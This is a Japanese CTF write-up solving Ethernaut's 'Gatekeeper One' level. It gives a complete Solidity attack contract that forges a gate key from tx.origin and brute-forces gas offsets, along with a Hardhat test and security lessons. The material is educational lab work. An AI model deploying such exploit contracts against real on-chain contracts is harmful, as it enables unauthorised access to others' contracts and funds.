Skip to content
On this page

CTF Ethernaut Level: Gatekeeper One 詳細技術解析

はじめに

Ethernautの「Gatekeeper One」は、Solidityの低レベル操作とガス計算に関する深い理解を要求する高度なCTF課題です。この課題では、3つの異なるゲート(条件)を通過する必要があり、それぞれがスマートコントラクト開発における重要な概念をテストしています。本記事では、各ゲートの技術的詳細、解決戦略、および実装方法について詳細に解説します。

課題の概要

Gatekeeper Oneコントラクトは、enter関数を通じて3つの修飾子(modifier)による検証を行います。攻撃者はこれらの条件をすべて満たす_gateKeyを生成し、適切なガス量で関数を呼び出すことで、entrant変数を自身のアドレスに設定する必要があります。

コントラクト構造の分析

基本構造

solidity
contract GatekeeperOne {
    address public entrant;
    
    // 3つのゲート(修飾子)
    modifier gateOne() { ... }
    modifier gateTwo() { ... }
    modifier gateThree(bytes8 _gateKey) { ... }
    
    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

ゲート1: tx.origin vs msg.sender

技術的背景

Solidityでは、tx.originmsg.senderは異なる意味を持ちます:

  • tx.origin: トランザクションを開始した元のEOA(外部所有アカウント)アドレス
  • msg.sender: 現在の関数呼び出しを直接行ったコントラクトまたはEOAのアドレス

ゲート1の条件

solidity
modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

この条件は、コントラクトを経由した間接的な呼び出しを要求しています。つまり、攻撃者はEOAから直接呼び出すのではなく、中間コントラクト(攻撃コントラクト)を経由してenter関数を呼び出す必要があります。

解決策

攻撃コントラクトを作成し、そのコントラクトからターゲットコントラクトのenter関数を呼び出します。

ゲート2: ガス計算の精密制御

技術的背景

gasleft()関数は、現在の実行コンテキストで利用可能な残りガス量を返します。ガス計算はEVMの重要な特性であり、コントラクト実行のコストと最適化に関わります。

ゲート2の条件

solidity
modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
}

この条件は、関数実行時に残っているガス量が8191で割り切れることを要求しています。8191は素数であり、特定のガス量を正確に設定する必要があります。

ガス計算の課題

  1. ガス消費の予測困難性: 異なるEVM実装やコンパイラバージョンでガス消費が変動する可能性
  2. 環境依存性: テストネットとメインネットで異なるガス消費パターン
  3. 正確な制御: 関数呼び出し時に指定するガス量の精密な調整が必要

解決戦略

solidity
function goEnter(uint256 _gas) external {
    // ... キー生成ロジック ...
    require(_gas < 8191, "gas < 8191");
    require(target.enter{gas: 8191 * 20 + _gas}(key), "Enter fail!");
}

攻撃コントラクトでは、enter関数呼び出し時に明示的にガス量を指定します。基本ガス量を8191 * N(Nは適当な整数)に設定し、微調整用の_gasパラメータを追加します。

ブルートフォースアプローチ

solidity
function tryAndLoop() external {
    for (uint256 i = 0; i < 8191; i++) {
        try this.goEnter(i) {
            emit GasCatch(i);
            return;
        } catch {}
    }
    revert NothingFound();
}

8191回の試行(0から8190まで)を行い、条件を満たす適切なガスオフセットを見つけます。このアプローチはガスを消費しますが、テスト環境では許容範囲内です。

ゲート3: ビットマスキングと型変換

技術的背景

Solidityでは、異なるサイズの整数型間で変換を行う際、ビットマスキングが自動的に適用されます。大きな型から小さな型への変換では、下位ビットのみが保持されます。

ゲート3の条件

solidity
modifier gateThree(bytes8 _gateKey) {
    // 条件1: 下位32ビット == 下位16ビット
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), 
            "GatekeeperOne: invalid gateThree part one");
    
    // 条件2: 下位32ビット != 全体64ビット
    require(uint32(uint64(_gateKey)) != uint64(_gateKey), 
            "GatekeeperOne: invalid gateThree part two");
    
    // 条件3: 下位32ビット == tx.originの下位16ビット
    require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), 
            "GatekeeperOne: invalid gateThree part three");
    _;
}

条件の詳細分析

条件1: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))

  • _gateKeyuint64に変換(8バイト → 8バイト、変化なし)
  • さらにuint32に変換:下位4バイト(32ビット)を保持
  • uint16に変換:下位2バイト(16ビット)を保持
  • 条件は「下位32ビットの下位16ビット部分」が「下位16ビット全体」と等しいこと
  • つまり、下位32ビットの上位16ビットはすべて0でなければならない

条件2: uint32(uint64(_gateKey)) != uint64(_gateKey)

  • 下位32ビットが全体の64ビットと等しくない
  • つまり、上位32ビットの少なくとも1ビットが1でなければならない

条件3: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

  • tx.origin(アドレス、20バイト)をuint160に変換
  • さらにuint16に変換:下位2バイト(16ビット)を保持
  • 条件は「_gateKeyの下位32ビット」が「tx.originの下位16ビット」と等しいこと
  • 条件1より、_gateKeyの下位32ビットの上位16ビットは0なので、実質的に「_gateKeyの下位16ビット」が「tx.originの下位16ビット」と等しい

キー生成アルゴリズム

solidity
function generateKey(address attacker) public pure returns (bytes8) {
    // tx.originの下位16ビットを取得
    uint16 originLower16 = uint16(uint160(attacker));
    
    // 条件を満たすキーを構築
    // 1. 下位16ビット: originLower16 (条件3)
    // 2. 次の16ビット: 0x0000 (条件1: 下位32ビットの上位16ビットが0)
    // 3. 上位32ビット: 少なくとも1ビットが1 (条件2)
    
    // 例: 0xFFFFFFFF0000XXXX (XXXXはoriginLower16)
    uint64 key = (uint64(1) << 63) | uint64(originLower16);
    
    return bytes8(key);
}

実際の攻撃コントラクトでの実装:

solidity
uint16 k16 = uint16(uint160(tx.origin));
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);

このキーは:

  • 最上位ビット(63ビット目)が1 → 条件2を満たす
  • 下位32ビットの上位16ビットが0 → 条件1を満たす
  • 下位16ビットがtx.originの下位16ビットと一致 → 条件3を満たす

完全な攻撃コントラクト

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function entrant() external view returns (address);
    function enter(bytes8) external returns (bool);
}

contract Hack {
    IGatekeeperOne private immutable target;
    
    event GasCatch(uint256 indexed _gas);
    error NothingFound();
    
    constructor(address _target) {
        target = IGatekeeperOne(_target);
    }
    
    // キー生成とガス調整を行ってenterを呼び出す
    function goEnter(uint256 _gas) external {
        // 条件を満たすキーを生成
        uint16 k16 = uint16(uint160(tx.origin));
        uint64 k64 = uint64(1 << 63) + uint64(k16);
        bytes8 key = bytes8(k64);
        
        // ガス量の制約チェック
        require(_gas < 8191, "gas < 8191");
        
        // ガス量を調整してenter関数を呼び出す
        // 8191 * 20 = 163820 は基本ガス量
        // _gasは0〜8190の範囲で微調整用
        require(target.enter{gas: 8191 * 20 + _gas}(key), "Enter fail!");
    }
    
    // 適切なガスオフセットを見つけるためのブルートフォース関数
    function tryAndLoop() external {
        for (uint256 i = 0; i < 8191; i++) {
            try this.goEnter(i) {
                // 成功したガスオフセットを記録
                emit GasCatch(i);
                return;
            } catch {
                // 失敗した場合は続行
                continue;
            }
        }
        revert NothingFound();
    }
}

テスト実装

typescript
import { ethers } from "hardhat";
import { expect } from "chai";

describe("GatekeeperOne Attack", function () {
    it("should bypass all three gates", async function () {
        // 1. ターゲットコントラクトのデプロイ
        const GatekeeperOneFactory = await ethers.getContractFactory("GatekeeperOne");
        const gatekeeperOne = await GatekeeperOneFactory.deploy();
        await gatekeeperOne.waitForDeployment();
        
        // 2. 攻撃コントラクトのデプロイ
        const HackFactory = await ethers.getContractFactory("Hack");
        const hack = await HackFactory.deploy(await gatekeeperOne.getAddress());
        await hack.waitForDeployment();
        
        // 3. 攻撃の実行(ブルートフォースで適切なガス量を探索)
        const tx = await hack.tryAndLoop();
        await tx.wait();
        
        // 4. 結果の検証
        const entrant = await gatekeeperOne.entrant();
        const attacker = await ethers.getSigners().then(signers => signers[0].address);
        
        expect(entrant).to.equal(attacker);
    });
});

セキュリティ教訓

1. tx.originの使用リスク

tx.originを使用した認証は、フィッシング攻撃に対して脆弱です。代わりにmsg.senderを使用するべきです。

2. ガスに依存したロジックの危険性

ガス消費はEVMの実装やコンパイラのバージョンに依存するため、ガス量に基づく条件は信頼性が低く、予期しない動作を引き起こす可能性があります。

3. 型変換とビットマスキング

型変換時のビットマスキング動作を理解することは、セキュリティクリティカルなコードを書く上で重要です。暗黙的なビットマスキングはバグの原因となり得ます。

4. ブルートフォース攻撃への耐性

限られた範囲のブルートフォース攻撃に対して脆弱なコントラクトは、実際のプロダクション環境では使用すべきではありません。

結論

Gatekeeper One課題は、Solidityの複数の高度な概念を統合的に理解することを要求する優れた学習教材です。tx.originmsg.senderの違い、ガス計算の精密制御、型変換時のビットマスキング動作といった概念を実際に適用することで、スマートコントラクトの内部動作について深い洞察を得ることができます。

この課題から得られる最も重要な教訓は、スマートコントラクトのセキュリティが細部に宿るということです。一見単純に見える条件も、EVMの低レベルな動作特性を理解していなければ、意図しない方法でバイパスされる可能性があります。セキュアなコントラクトを開発するためには、これらの低レベルな詳細に対する深い理解が不可欠です。

Built with AiAda